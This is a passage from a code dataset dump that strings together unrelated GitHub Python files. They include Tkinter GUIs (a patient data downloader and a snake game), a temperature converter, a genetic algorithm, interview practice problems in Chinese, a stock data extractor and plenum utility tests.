fichero:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=40)\r\nfile_name=StringVar()\r\nfile_name.set(\"%s.%s.%s-%s.%s.%s.txt\"%(time.strftime(\"%Y\"),time.strftime(\"%m\"),time.strftime(\"%d\"),time.strftime(\"%H\"),time.strftime(\"%M\"),time.strftime(\"%S\")))\r\ncampo=Entry(Canvas1,textvariable=file_name).place(x=270,y=45)\r\netiqueta= Label(Canvas1,text=\"Introduce el puerto COM (ej: COM3):\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=65)\r\nnumero_puerto=StringVar()\r\nif hay_puerto:\r\n print (puertos_disponibles[0][1])\r\n numero_puerto.set(\"%s\" %puertos_disponibles[0][1])\r\n campo=Entry(Canvas1,textvariable=numero_puerto).place(x=270,y=70)\r\n boton=Button(ventana,command=lambda: Aceptar_descarga(numero_puerto.get(), file_name.get() ),text=\"Descargar\").place(x=150,y=100)\r\nelse:\r\n numero_puerto.set(\"\")\r\n campo=Entry(Canvas1, textvariable=numero_puerto).place(x=270,y=70)\r\n boton=Button(Canvas1,command=lambda: Aceptar_descarga(numero_puerto.get(), file_name.get() ),text=\"Descargar\").place(x=150,y=100)\r\n#--------------------------------------------------------------------------------------------\r\n###### Zona de obtencion de resultados ######\r\netiqueta= Label(Canvas2,text=\"OBTENCIÓN DE RESULTADOS:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=10)\r\netiqueta= Label(Canvas2,text=\"Introduce el nombre del fichero existente:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=40)\r\nfile_name_read_2=StringVar()\r\nfile_name_read_2.set(\"%s.%s.%s-%s.%s.%s.txt\"%(time.strftime(\"%Y\"),time.strftime(\"%m\"),time.strftime(\"%d\"),time.strftime(\"%H\"),time.strftime(\"%M\"),time.strftime(\"%S\")))\r\ncampo=Entry(Canvas2,textvariable=file_name_read_2).place(x=290,y=45)\r\n# boton2=Button(Canvas2,text=\"Obtener datos\", command=pacientes).place(x=150,y=125)\r\n# boton2=Button(Canvas2,command=lambda:separarDatos(file_name_read_2.get(),campo2.get(),campo3.get()),text=\"Obtener datos\").place(x=150,y=125)\r\nboton2=Button(Canvas2,command=lambda:separarDatos(file_name_read_2.get()),text=\"Obtener datos\").place(x=150,y=125)\r\netiqueta= Label(Canvas2,text=\"Introduce la longitud del tramo en metros:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=65)\r\ndistancia_predefinida=DoubleVar()\r\ndistancia_predefinida.set(30)\r\ncampo2 = Entry(Canvas2,textvariable=distancia_predefinida)\r\ncampo2.place(x=290,y=70)\r\netiqueta= Label(Canvas2,text=\"Introduce el tiempo en minutos:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=90)\r\ntiempo_predefinido=DoubleVar()\r\ntiempo_predefinido.set(6)\r\ncampo3=Entry(Canvas2,textvariable=tiempo_predefinido)\r\ncampo3.place(x=290,y=95)\r\n#--------------------------------------------------------------------------------------------\r\n###### Zona de consulta de historial ######\r\netiqueta= Label(Canvas3,text=\"CONSULTA DE HISTORIAL:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=10)\r\netiqueta= Label(Canvas3,text=\"Introduce la identificación del paciente:\",font=(\"Calibri\",12),fg=\"black\").place(x=10,y=40)\r\ncampo4 = Entry(Canvas3,textvariable=\"\")\r\ncampo4.place(x=290,y=45)\r\nboton3=Button(Canvas3,text=\"Buscar\",command=lambda:buscaHistorial(campo4.get())).place(x=150,y=75)\r\n# boton3=Button(Canvas3,command=lambda:buscar(campo4.get()),text=\"Buscar\").place(x=150,y=75)\r\n\r\nventana.mainloop()","repo_name":"queimanho/TFG_SPQ","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8237,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23320420465","text":"#!/usr/bin/env python3\n# Created By: Noah Ouellette\n# Date: Jan. 18, 2022\n# This program allows a user to convert\n# a temperature from celsius to farhenheit\n\nimport time\n\n\ndef calculate_fahrenheit():\n # Asks questions and gets user input\n print(\"This program converts temperature in celsius to fahrenheit.\")\n print(\" \")\n time.sleep(1)\n temp_celsius = (input(\"Enter the temperature in degress celsius: \"))\n print(\" \")\n time.sleep(1)\n\n try:\n # Make sure user input is a float\n temp_celsius_float = float(temp_celsius)\n # Use formula to convert from celsius to fahrenheit\n temp_fahrenheit = (9 / 5) * temp_celsius_float + 32\n print(\"{} degrees celsius is equivalent \".format(temp_celsius) +\n \"to {} degrees fahrenheit\".format(temp_fahrenheit))\n\n except Exception:\n # Prevent crash by displaying error messsage\n print(\"'{}' is not a number\".format(temp_celsius))\n\n\ndef main():\n # Call the function to calculate farenheit\n calculate_fahrenheit()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ICS3U-Programming-Noah-O/Unit5-01-Python","sub_path":"temp_convert.py","file_name":"temp_convert.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29934438957","text":"\ndef crop_hydrated(field):\n nb = [(-1, -1), (-1, 0), (-1, 1), (0, -1), (0, 1), (1, -1), (1, 0), (1, 1)]\n for r in range(len(field)):\n for c in range(len(field[0])):\n if field[r][c] == 'c':\n if all(field[r+i][c+j] == 'c' for i, j in nb if 0<=r+i 9 else '0' + str(date.month)) + (str(date.day) if date.day > 9 else '0' + str(date.day)) + '.txt'\n\n try:\n #if a share has already been reviewed by a analyst in the current file, we won't double count it\n visited_share_by_analyst = dict()\n for line in open(filename, 'r'):\n line = line.strip()\n if line != '':\n data = line.split(', ')\n analyst = data[0].split(' ')[-1]\n if not analyst.endswith('_LONG_SHORT_F.pdf'):\n continue\n size = analyst.split('_')[-4]\n if size != '20':\n continue\n analyst = '_'.join(analyst.split('_')[:-4])\n if analyst not in visited_share_by_analyst:\n visited_share_by_analyst[analyst] = dict()\n action = data[1]\n recommendations = data[2:-1]\n recommendedStocks = []\n for r in recommendations:\n if r.split(' ')[0] == targetStockStr:\n if date not in targetStockPriceDict:\n targetStockPriceDict[str(date)] = r.split(' ')[1]+r.split(' ')[2]\n if r.split(' ')[0] not in visited_share_by_analyst[analyst]:\n #mark share has been visited by the current analyst\n visited_share_by_analyst[analyst][r.split(' ')[0]] = 1\n recommendedStocks.append(r.split(' ')[0])\n if r.split(' ')[0] in popularStocks:\n popularStocks[r.split(' ')[0]] += 1\n else:\n popularStocks[r.split(' ')[0]] = 1\n performance = data[-1].split(' ')[-1]\n if analyst in analysts:\n analysts[analyst].append((i, size, action, recommendedStocks))\n else:\n analysts[analyst] = [(i, size, action, recommendedStocks)]\n if analyst in targetStockAnalysts:\n targetStockAnalysts[analyst] += recommendedStocks.count(targetStockStr)\n else:\n targetStockAnalysts[analyst] = recommendedStocks.count(targetStockStr)\n if recommendedStocks.count(targetStockStr) > 0:\n if str(date) in targetStockDays:\n targetStockDays[str(date)] += recommendedStocks.count(targetStockStr)\n else:\n targetStockDays[str(date)] = recommendedStocks.count(targetStockStr)\n if analyst in targetStockActionDict:\n targetStockActionDict[analyst][str(date)] = action\n else:\n targetStockActionDict[analyst] = dict()\n targetStockActionDict[analyst][str(date)] = action\n\n except:\n print('No entry', date)\n\n print(str(i)+'/365')\n\ntargetStockTargetDays = []\n\nfor i in sorted(targetStockDays.keys(), key = lambda x: targetStockDays[x]):\n #get all the targeted days\n if targetStockDays[i] >= 8:\n targetStockTargetDays.append(i)\n print(i, targetStockDays[i],targetStockPriceDict[i])\n\ntargetStockDataMatrix = []\n\n#generate Iterative filtering training data matrix for current stock\nfor i in range(len(targetStockTargetDays)):\n curr_data_row = [0] * len(targetStockAnalyst_ids)\n for j in sorted(targetStockAnalyst_ids.keys(), key = lambda x: targetStockAnalyst_ids[x]):\n if j not in targetStockActionDict:\n curr_data_row[targetStockAnalyst_ids[j]] = 0\n continue\n if targetStockTargetDays[i] in targetStockActionDict[j]:\n if targetStockActionDict[j][targetStockTargetDays[i]] == 'L':\n curr_data_row[targetStockAnalyst_ids[j]] = 1\n elif targetStockActionDict[j][targetStockTargetDays[i]] == 'S':\n curr_data_row[targetStockAnalyst_ids[j]] = -1\n else:\n #since there is no action data available, we use hold\n curr_data_row[targetStockAnalyst_ids[j]] = 0\n targetStockDataMatrix.append(curr_data_row)\n\n#show testing data matrix\nprint(targetStockDataMatrix)\n","repo_name":"Thebasic123/Fufu_Thesis","sub_path":"stock_testing_data_extractor.py","file_name":"stock_testing_data_extractor.py","file_ext":"py","file_size_in_byte":5217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41791057805","text":"import numpy as np\nimport math\nimport random\nfrom matplotlib import pyplot as plt\n\nclass Genetic_Algorithm:\n def __init__(self, population, ending_goal,mutation_rate, cross_rate=0.3,cruzamiento_method = 'cross_Over'):\n self.cruzamiento_method = cruzamiento_method\n self.mutation_rate = mutation_rate\n self.cross_rate = cross_rate\n self.ending_goal = ending_goal\n self.copia_percentage = []\n self.generations = 0\n self.activation = True\n self.population = population\n self.fitness_elements = np.zeros(len(self.population))\n\n\n #Funciones que estan relacionadas con el problema de optimizar funciones\n #Funcion que decodifica las cadenas binario a numero decimal\n def decodificacion_dominio_binario(self, cadena):\n numero = 0\n for i in range(0,len(cadena)):\n numero = numero + (int(cadena[i]) * 2 **(-(i + 1)))\n return numero\n #Funcion de la cual hallaremos su punto maximo, con esta misma funcion calcularemos el fitness de cada elemento\n def calculating_fitness_through_math_function(self, x):\n return ((1 -((float(11)/float(2))* x - float(7)/float(2)) **2)* (math.cos((float(11)/float(2))*x - float(7)/float(2)) + 1)) + 2\n #Funcion de seleccion\n def seleccionando_padres(self):\n self.suma_calificaciones_poblacion = 0\n #Primero calcularemos la sumatoria de las medidas fitness de cada elemento de la poblacion\n for i in range(0,len(self.population)):\n numero_decodificado = self.decodificacion_dominio_binario(self.population[i])\n self.suma_calificaciones_poblacion = self.suma_calificaciones_poblacion + self.calculating_fitness_through_math_function(numero_decodificado)\n indice = 0\n padres = []\n #Proceso de seleccion de hijos\n while(indice != 2):\n primer_hijo = self.population[int(random.random() * len(self.population))]\n num_aleatorio = random.random()\n c = num_aleatorio * self.suma_calificaciones_poblacion\n calificacion_acumulada = 0\n calificacion_acumulada = calificacion_acumulada + self.calculating_fitness_through_math_function(self.decodificacion_dominio_binario(primer_hijo))\n if(calificacion_acumulada > c):\n padres.append(primer_hijo)\n indice = indice + 1\n return padres[0], padres[1]\n\n\n #Calculando medida fintess para string problema\n def calculating_fitness_letras(self,element):\n fitness = 0\n for i in range(0,len(element)):\n if(element[i] == self.ending_goal[i]):\n fitness = fitness + 1\n return fitness\n #Calculando medida fitness para todos los elementos mas su porcentaje\n def asignar_medida_fit_percentage_relacionado_con_bernouli(self):\n percentage_calc = 0\n for i in range(0,len(self.population)):\n self.fitness_elements[i] = self.calculating_fitness_letras(self.population[i])\n percentage_calc = percentage_calc + self.calculating_fitness_letras(self.population[i])\n self.copia_percentage = self.fitness_elements\n for i in range(0,len(self.population)):\n self.fitness_elements[i] = int(float(self.fitness_elements[i] * 100) / float(percentage_calc))\n\n #Metodos para seleccionar padre y madre\n def bernouli_selection(self):\n hijos = []\n i = 0\n while(i != 2):\n hijo = int(random.random() * len(self.population))\n random_range = random.random() * 100\n if(random_range < self.fitness_elements[hijo]):\n hijos.append(self.population[hijo])\n i = i+1\n return hijos[0], hijos[1]\n\n #Metodos de cruzamiento para los progenitores\n def cross_Over(self,father, mother):\n mid_point = int(float(len(father)) / float(2))\n adn1 = father[:mid_point]\n adn2 = mother[mid_point:]\n return adn1+adn2\n def cross_over_probabilistic(self, father, mother):\n num = int(random.random() * (len(father) - 1))\n adn1 = father[:num]\n adn2 = mother[num:]\n return adn1 + adn2\n def cross_over_jumped(self, father, mother):\n child = self.population[5]\n for i in range(0, len(father)):\n if(i % 2 == 0):\n child.replace(child[i], father[i])\n else:\n child.replace(child[i], mother[i])\n return child\n def cross_over_volado(self,father, mother):\n \ti = 0\n \tchild = self.population[5]\n \twhile(i>> import locale\n# >>> locale.setlocale(locale.LC_ALL, '')\n# 'en_US.utf8'\n# >>> locale.currency(123.2342343234234234)\n# '$123.23'\n# >>> locale.currency(123.2342343234234234, '') # the second argument controls the symbol\n# '123.23'\n\n# -*- coding: utf-8 -*-\nimport sys\ntry:\n while True:\n line1 = sys.stdin.readline().strip()\n if line1 == '':\n break\n # line2 = sys.stdin.readline().strip()\n a = int(line1)\n # l = list(map(int, line2.split()))\n # b = [int(n) for n in line2.split()]\n print(a)\n # print(l)\n # print(b)\nexcept:\n pass\n\n\"\"\"\n题目描述:\n扎金花是一种非常受欢迎的纸牌游戏。而在游戏界有一种于扎金花类似的玩法,叫做扎银花。\n相比于扎金花的牌型多变,扎银花就简单多了,虽然同样是三张牌比大小,在扎银花的规则里只需要把三张牌的点数相加再进行大小比较即可,点数大的人获胜。\n\n今天我们玩的不是扑克牌,而是一种取值范围在1-10^9以内的简单牌,两个人一开始各自有n张牌,他们会想办法组合出最大的牌,\n请你计算出获胜的一方的三张牌的点数之和。\n\n输入\n输入第一行仅包含一个正整数n,代表双方掌握的牌的数量。(1<=n<=20000)\n接下来有2行,每行有n个数字,分别代表双方可选的n张牌。\n\n输出\n输出仅包含一个正整数,即获胜的一方的最大牌型的点数之和,当然是可能有平局的,此时答案也是唯一的。\n\n样例输入\n5\n1 2 3 4 5\n1 2 3 4 6\n样例输出\n13\n\"\"\"\n# n = int(input())\n# list1 = list(map(int, input().split()))\n# list2 = list(map(int, input().split()))\n#\n# if n < 3:\n# print(0)\n#\n# list1.sort()\n# list2.sort()\n#\n# total1 = sum(list1[-3:])\n# total2 = sum(list2[-3:])\n#\n#\n# print(total1 if total1 > total2 else total2)\n\n\n\"\"\"\n题目描述:\n给出一个长度为n的由正整数构成的序列,你需要从中删除一个正整数,很显然你有很多种删除方式,\n你需要对删除这个正整数以后的序列求其最长上升子串,请问在所有删除方案中,最长的上升子串长度是多少。\n\n这里给出最长上升子串的定义:即对于序列中连续的若干个正整数,满足a_{i+1}>a_i,则称这连续的若干个整数构成的子串为上升子串,\n在所有的上升子串中,长度最长的称为最长上升子串。\n\n输入\n输入第一行仅包含一个正整数n,表示给出的序列的长度。(1<=n<=100000)\n接下来一行有n个正整数,即这个序列,中间用空格隔开。(1<=a_i<=100000)\n\n输出\n输出仅包含一个正整数,即删除一个数字之后的最长上升子串长度。\n\n\n样例输入\n5\n2 1 3 2 5\n样例输出\n3\n\"\"\"\n# N = 5\n# nums = [2, 1, 3, 2, 5]\n# # N = int(input())\n# # nums = list(map(int, input().split()))\n#\n#\n#\n# def func(list, N):\n# if not list:\n# return 0\n# if len(set(list)) == 1:\n# return 1\n#\n# dp, res = [1 for _ in range(N)], 1\n# for i in range(1, N):\n# if list[i] > list[i - 1]:\n# dp[i] = 1 + dp[i - 1]\n# res = max(dp[i], res)\n# return res\n#\n#\n# def find(list, N):\n# if not list:\n# return 0\n# if len(set(list)) == 1:\n# return 1\n# res, res1 = 1, 1\n# nums = []\n# for i in range(N):\n# if i == 0:\n# nums = list[1:]\n# res1 = func(nums, len(nums))\n# elif i == N - 1:\n# nums = list[:-1]\n# res1 = func(nums, len(nums))\n# else:\n# nums = list[:i] + list[i + 1:]\n# res1 = func(nums, len(nums))\n#\n# res = max(res, res1)\n#\n# return res\n#\n#\n# print(find(nums, N))\n\n\nNms = list(map(int, input().split()))\nn = Nms[0]\nm = Nms[1]\nstart = Nms[2]\n\nli = []\nfor i in range(n):\n aa = list(map(int, input().split()))\n li.append(aa)\n\nk = int(input())\n\nimport heapq\n\n\"\"\"\n题目描述:\n晨晨是个爱跑步的孩子,这一天,他准备跑正好k米。他所在的城市的道路可以看做n个点,m条无向边组成的图,每条边有一个固定的长度。\n晨晨有强迫症,他跑步前往一个目的地一定要走最短路(当然有多条最短路就可以随意选择了)。\n晨晨希望知道,他正好跑k米能走到的目的地的个数。注意,目的地可能在图中的点和边上,且该目的地距离晨晨的起点的最短路正好k米。\n若k大于所有路径之和自然不存在这样的目的地,输出结果自然为0。\n\n第一行输入三个数,n,m,s代表图中的点数,边数,以及晨晨的起点的编号\n接下来m行,每行3个数u,v,w描述一条无向边,代表点u到点v有一条无向边,长度为w。\n接下来一行一个数k,描述晨晨希望跑的距离。\n\n输出一个数,代表不同的目的地个数。\n\n3 3 1\n1 2 2\n2 3 3\n1 3 4\n4\n\n例如:晨晨希望跑4米,他可以沿着第三条边直接跑向3号节点,此时跑步距离为4。他也可以先跑第一条边2米,再跑第二条边2米,\n停在第二条边的中间2/3的位置。可以证明,这两个目的地到1号节点的最短路都为4\n\"\"\"\n\n\nclass Solution:\n def __init__(self):\n self.G = {}\n\n def add(self, s, end, dis):\n self.G.setdefault(s, {})\n self.G[s][end] = dis\n\n def func(self, s, k, G):\n queue = []\n heapq.heappush(queue, (0, s)) # 出发点\n\n used = set()\n dist = {s: 0}\n res = 0\n\n while queue:\n dis, node = heapq.heappop(queue)\n if node > k:\n break\n used.add(node)\n if node not in G.keys():\n continue\n\n for i, j in G[node].items():\n newDist = dis + j\n if (i not in dist) or (newDist < dist[i]):\n dist[i] = newDist\n heapq.heappush(queue, (newDist, i))\n res += 1\n return res\n\n\nss = Solution()\nfor i in li:\n ss.add(*i)\n# print(ss.G) # {1: {2: 2, 3: 4}, 2: {3: 3}}\nprint(ss.func(start, k, ss.G))\n\n\n\"\"\"\n题目描述:\n某个序列的最长不下降子序列的定义为将这个序列去除最少的数,使得剩下的每一个数都大于等于他自身前面的数。\n比如,1,0,0,1,1的最长不下降子序列为0,0,1,1,其中去除了第一个1,剩下的数0,0,1,1后面的数都大于等于前面的数。\n现在有一个特殊的序列,这个序列中所有的数都是0或者1。你需要按照题目所给的顺序完成两种任务:\n\n1.将某段区间的0变为1,1变为0\n2.询问整段序列的最长不下降子序列长度。\n\n每一个操作进行后都会对序列造成改变,这意味着整个序列会不停的发生变化。\n\n输入\n第一行2个数n,m,代表序列长度和询问次数\n第二行n个数字,中间没有空格。每个数字为0或者1,第 i 个数代表序列中第i个数的大小\n接下来m行,每行一个询问。其中,两个操作的询问方式如下:\n\n1.c x y将区间[x,y]的0变为1,1变为0。\n2.q 询问整段序列的最长不下降子序列长度。\n\n注意,序列的第一个位置从开始标号,意思为整个序列的下标为1,2...n\n1≤n≤100000 , 1≤m≤100000 , 1≤x≤y≤n\n\n输出\n对于第二种操作:q类型询问,输出整段序列的最长不下降子序列长度。\n\n\n样例输入\n5 5\n10011\nq\nc 1 5\nq\nc 1 3\nq\n\n样例输出\n4\n3\n4\n\n提示\n样例解释\n1.第一次询问,原序列为10011,答案为0011\n2.第二次修改,原序列为10011,修改后为01100\n3.第三次询问,原序列为01100,答案为011或者000\n4.第四次修改,原序列为01100,修改后为10000\n5.第五次询问,原序列为10000,答案为0000\n\"\"\"\n\n\n\"\"\"\n题目描述:\n现在一共有n个任务可以完成。对于每个任务,都有k个子任务可以做。并且第 i 个子任务需要花费的时间是 ti 。\n我们可以认为一个子任务需要的时间只和这个子任务是第几个子任务有关,而不和这是属于哪个任务有关。也就是说n个任务的第 i 个子任务需要的时间都是一样的。\n每个任务都只可以完成一次,同时每个子任务也只能完成一次,任何任务都不能重复完成。\n\n每当你完成一个子任务你会获得p分,而当你完成一个任务的k个子任务后,你会获得额外的q分,也就是说你会获得pk+q分。\n现在你一共有m的时间,你需要求出最大的得分。\n\n输入\n第一行三个整数n,k,m。(1≤n≤100),(1≤k≤100),(0≤m≤2e9)\n第二行两个整数p,q。(1≤p,q≤100)\n第三行k个整数表示每个子任务需要的时间。(1≤ ti≤1e6)\n\n输出\n输出在m的时间内能获得的最大得分。\n\n样例输入\n3 2 8\n3 1\n9 5\n样例输出\n3\n\n提示\n输入样例\n2 2 3\n1 2\n1 1\n\n输出样例\n5\n\"\"\"","repo_name":"wellqin/USTC","sub_path":"Interview/美团/20200319.py","file_name":"20200319.py","file_ext":"py","file_size_in_byte":9063,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"42557231677","text":"from tkinter import messagebox\nimport tkinter as tk\nimport datetime as dt\nimport os\n\nfrom objects import Bait, Snake\nfrom database import User, Score, Config\n\nimport meta\nimport model\nimport frames\nimport dialogs\n\n\nclass App:\n def __init__(self):\n self.master = App.create_master()\n\n self.menus = {}\n self.delay = None\n self._pause = True\n self._game_loop = True # break the main loop by this parameter\n self.guide_text_id = None\n\n self.login_frame = frames.LoginFrame(self.master)\n self.game_frame = frames.GameFrame(self.master)\n self.login_frame.grid(row=0, column=0)\n self.game_frame.grid(row=0, column=0)\n self.login_frame.tkraise()\n self.login_frame.signin_frame.button.config(command=self.signin)\n\n self.user = None\n self.snake = Snake(self.game_frame.canvas)\n self.bait = Bait(self.game_frame.canvas, energy=30, timeout=60, color='green')\n\n self.master.config(menu=self.init_menu())\n self.master.bind('', lambda _: self.snake.set_direction('up'))\n self.master.bind('', lambda _: self.snake.set_direction('down'))\n self.master.bind('', lambda _: self.snake.set_direction('left'))\n self.master.bind('', lambda _: self.snake.set_direction('right'))\n self.master.bind('', lambda _: self.pause())\n\n self.menus['main'].entryconfig('Account Setting', state=tk.DISABLED)\n self.menus['main'].entryconfig('Scores', state=tk.DISABLED)\n self.menus['main'].entryconfig('Setting', state=tk.DISABLED)\n self.menus['main'].entryconfig('About us', state=tk.DISABLED)\n\n self.master.mainloop()\n\n @property\n def score(self):\n return self.game_frame.score.get()\n\n @score.setter\n def score(self, value):\n self.game_frame.score.set(value)\n\n @property\n def level(self):\n return self.game_frame.level.get()\n\n @level.setter\n def level(self, value):\n self.game_frame.level.set(value)\n\n @property\n def energy(self):\n return self.game_frame.energy.get()\n\n @energy.setter\n def energy(self, value):\n self.game_frame.energy.set(value)\n\n @property\n def best_score(self):\n return self.game_frame.best_score.get()\n\n @best_score.setter\n def best_score(self, value):\n self.game_frame.best_score.set(value)\n\n @property\n def username(self):\n return self.game_frame.username.get()\n\n @username.setter\n def username(self, value):\n self.game_frame.username.set(value)\n\n @classmethod\n def create_master(cls):\n root = tk.Tk()\n root.title(meta.TITLE)\n root.geometry(get_geometry(root))\n root.resizable(False, False)\n if os.path.exists(meta.ICON_PATH):\n root.iconbitmap(default=meta.ICON_PATH)\n\n return root\n\n def create_guide_text(self):\n if self.guide_text_id:\n self.game_frame.canvas.delete(self.guide_text_id)\n\n return self.game_frame.canvas.create_text(\n meta.CANVAS_WIDTH//2,\n meta.CANVAS_HEIGHT//2 - (meta.UNIT_SIZE*3),\n text='Press to start the game',\n font=meta.FONTS['medium']\n )\n\n def signin(self):\n if self.login_frame.signin_frame.signin(app=self):\n self.master.bind(\"\", lambda event: dialogs.SigninDialog(self))\n self.master.bind(\"\", lambda event: dialogs.SignupDialog(self))\n\n self.set_level(self.login_frame.level.get())\n self.login_frame.destroy()\n\n self.menus['main'].entryconfig('Account Setting', state=tk.NORMAL)\n self.menus['main'].entryconfig('Scores', state=tk.NORMAL)\n self.menus['main'].entryconfig('Setting', state=tk.NORMAL)\n self.menus['main'].entryconfig('About us', state=tk.NORMAL)\n\n def restart(self):\n if self.score: # auto save score when changing level meanwhile playing\n Score.create(user=self.user, score=self.score, level=self.level, datetime=dt.datetime.now())\n\n if self.score > self.best_score:\n self.best_score = self.score\n\n self._game_loop = False\n self.master.bind('', lambda _: self.start())\n self.guide_text_id = self.create_guide_text()\n self.energy = meta.BASE_ENERGY\n self.score = 0\n self.snake.reset()\n self.bait.reset()\n self._pause = True\n\n def start(self):\n self.game_frame.canvas.delete(self.guide_text_id)\n self.master.unbind('')\n self.snake.set_direction('up')\n self._game_loop = True\n self._pause = False\n self.game_loop()\n\n def change_user(self, user):\n self.user = user\n self.username = self.user.username\n self.update_personalizations()\n self.set_level(Config.fetch(user=user, label='Level'))\n\n if self.user.is_default:\n self.menus['account'].entryconfig('Manage Account', state=tk.DISABLED)\n else:\n self.menus['account'].entryconfig('Manage Account', state=tk.NORMAL)\n\n def update_personalizations(self):\n self.game_frame.canvas.config(bg=Config.fetch(user=self.user, label='Background'))\n self.snake.change_head_color(Config.fetch(user=self.user, label='Head'))\n self.snake.change_body_color(Config.fetch(user=self.user, label='Body'))\n\n def update_best_score(self):\n try:\n best_score = Score.select().where(Score.level == self.level, Score.user == self.user).order_by(Score.score.desc()).get()\n self.best_score = best_score.score\n\n except:\n self.best_score = 0\n\n def check_head_and_body_collision(self):\n for body in self.snake.body:\n if model.check_collision(self.game_frame.canvas, self.snake.head, body):\n messagebox.showinfo(meta.TITLE, 'You lost')\n self.restart()\n break\n\n def check_eating_bait(self):\n if model.check_collision(self.game_frame.canvas, self.snake.head, self.bait.item):\n self.bait.move()\n self.snake.grow()\n self.energy += self.bait.energy\n self.score += 1\n\n def check_energy(self):\n if self.energy > 0:\n if not self._pause:\n self.energy -= 1\n else:\n messagebox.showinfo(meta.TITLE, 'Your energies finished!')\n self.restart()\n\n def set_level(self, level):\n self.level = level\n self.energy = meta.BASE_ENERGY\n self.delay = (150 - (self.level * 24))\n\n Config.update(value=level).where(Config.user == self.user, Config.label == 'Level').execute()\n self.update_best_score()\n\n def reset_scores(self):\n if messagebox.askokcancel(meta.TITLE, 'Are you sure you want to reset all your scores?'):\n Score.delete().where(Score.user == self.user).execute()\n self.best_score = 0\n messagebox.showinfo(meta.TITLE, 'All your scores were reset!')\n\n def delete_account(self):\n if messagebox.askokcancel(meta.TITLE, 'Are you sure you want to delete your account?'):\n Score.delete().where(Score.user == self.user).execute()\n User.delete().where(User.username == self.user.username).execute()\n self.change_user(meta.default_user)\n messagebox.showinfo(meta.TITLE, 'Your account has deleted successfully!')\n\n def game_loop(self):\n if not self._pause:\n self.check_eating_bait()\n self.check_energy()\n self.check_head_and_body_collision()\n self.snake.move()\n self.bait.auto_move()\n self.game_frame.update()\n\n if self._game_loop:\n self.master.after(self.delay, self.game_loop)\n\n def pause(self):\n self._pause = not self._pause\n\n def init_menu(self):\n main_menu = tk.Menu(self.master)\n scores_menu = tk.Menu(main_menu, tearoff=False)\n account_menu = tk.Menu(main_menu, tearoff=False)\n manage_menu = tk.Menu(account_menu, tearoff=False)\n\n self.menus['main'] = main_menu\n self.menus['scores'] = scores_menu\n self.menus['account'] = account_menu\n self.menus['manage'] = manage_menu\n\n account_menu.add_command(label='Sign in', command=lambda: dialogs.SigninDialog(self), accelerator=\"Ctrl+I\")\n account_menu.add_command(label='Sign up', command=lambda: dialogs.SignupDialog(self), accelerator=\"Ctrl+U\")\n account_menu.add_separator()\n account_menu.add_cascade(label='Manage Account', menu=manage_menu)\n\n account_menu.entryconfig('Manage Account', state=tk.DISABLED)\n\n manage_menu.add_command(label='Change Username', command=lambda: dialogs.ChangeUsernameDialog(self))\n manage_menu.add_command(label='Change Password', command=lambda: dialogs.ChangePasswordDialog(self))\n manage_menu.add_command(label='Reset Scores', command=self.reset_scores)\n manage_menu.add_command(label='Delete Account', command=self.delete_account)\n\n scores_menu.add_command(label='Best Scores', command=lambda: dialogs.BestScoresDialog(self))\n scores_menu.add_command(label='My Scores', command=lambda: dialogs.MyScoresDialog(self))\n scores_menu.add_command(label='Records', command=lambda: dialogs.RecordsDialog(self))\n\n main_menu.add_cascade(label='Account Setting', menu=account_menu)\n main_menu.add_cascade(label='Scores', menu=scores_menu)\n main_menu.add_command(label='Setting', command=lambda: dialogs.SettingDialog(self))\n main_menu.add_command(label='About us', command=lambda: dialogs.AboutDialog(self))\n\n return main_menu\n\n\n\ndef get_geometry(root):\n \"\"\" This function return a geometry to put app on center-center \"\"\"\n\n scr_width = int(root.winfo_screenwidth())\n scr_height = int(root.winfo_screenheight())\n start_width = int((scr_width / 2) - 250)\n start_height = int((scr_height / 2) - 330)\n\n return f\"{meta.WIDTH}x{meta.HEIGHT}+{start_width}+{start_height}\"\n\n\n\nif __name__ == \"__main__\":\n app = App()\n","repo_name":"sina-programer/Snake_Game_Tk","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35819231005","text":"import pytest\nimport math\nfrom itertools import combinations\n\nimport time\n\nimport os\nfrom libnacl import crypto_hash_sha256\n\nfrom common.exceptions import PlenumTypeError, PlenumValueError\nfrom stp_core.network.util import evenCompare, distributedConnectionMap\nfrom plenum.common.util import randomString, compare_3PC_keys, \\\n check_if_all_equal_in_list, min_3PC_key, max_3PC_key, get_utc_epoch, \\\n mostCommonElement\nfrom plenum.test.greek import genNodeNames\n\n\ndef test_randomString_invalid_args():\n for size in (None, '5', [4]):\n with pytest.raises(PlenumTypeError):\n randomString(size)\n\n for size in (-1, 0):\n with pytest.raises(PlenumValueError):\n randomString(size)\n\n\ndef test_even_compare():\n vals = genNodeNames(24)\n for v1 in vals:\n beats = [v2 for v2 in vals if v1 != v2 and evenCompare(v1, v2)]\n print(\"{} beats {} others: {}\".format(v1, len(beats), beats))\n evenCompare('Zeta', 'Alpha')\n\n def hashit(s):\n b = s.encode('utf-8')\n c = crypto_hash_sha256(b)\n return c.hex()\n\n for v in vals:\n print(\"{}: {}\".format(v, hashit(v)))\n\n\ndef test_distributedConnectionMap():\n for nodeCount in range(2, 25):\n print(\"testing for node count: {}\".format(nodeCount))\n names = genNodeNames(nodeCount)\n conmap = distributedConnectionMap(names)\n\n total_combinations = len(list(combinations(names, 2)))\n total_combinations_in_map = sum(len(x) for x in conmap.values())\n assert total_combinations_in_map == total_combinations\n\n maxPer = math.ceil(total_combinations / nodeCount)\n minPer = math.floor(total_combinations / nodeCount)\n for x in conmap.values():\n assert len(x) <= maxPer\n assert len(x) >= 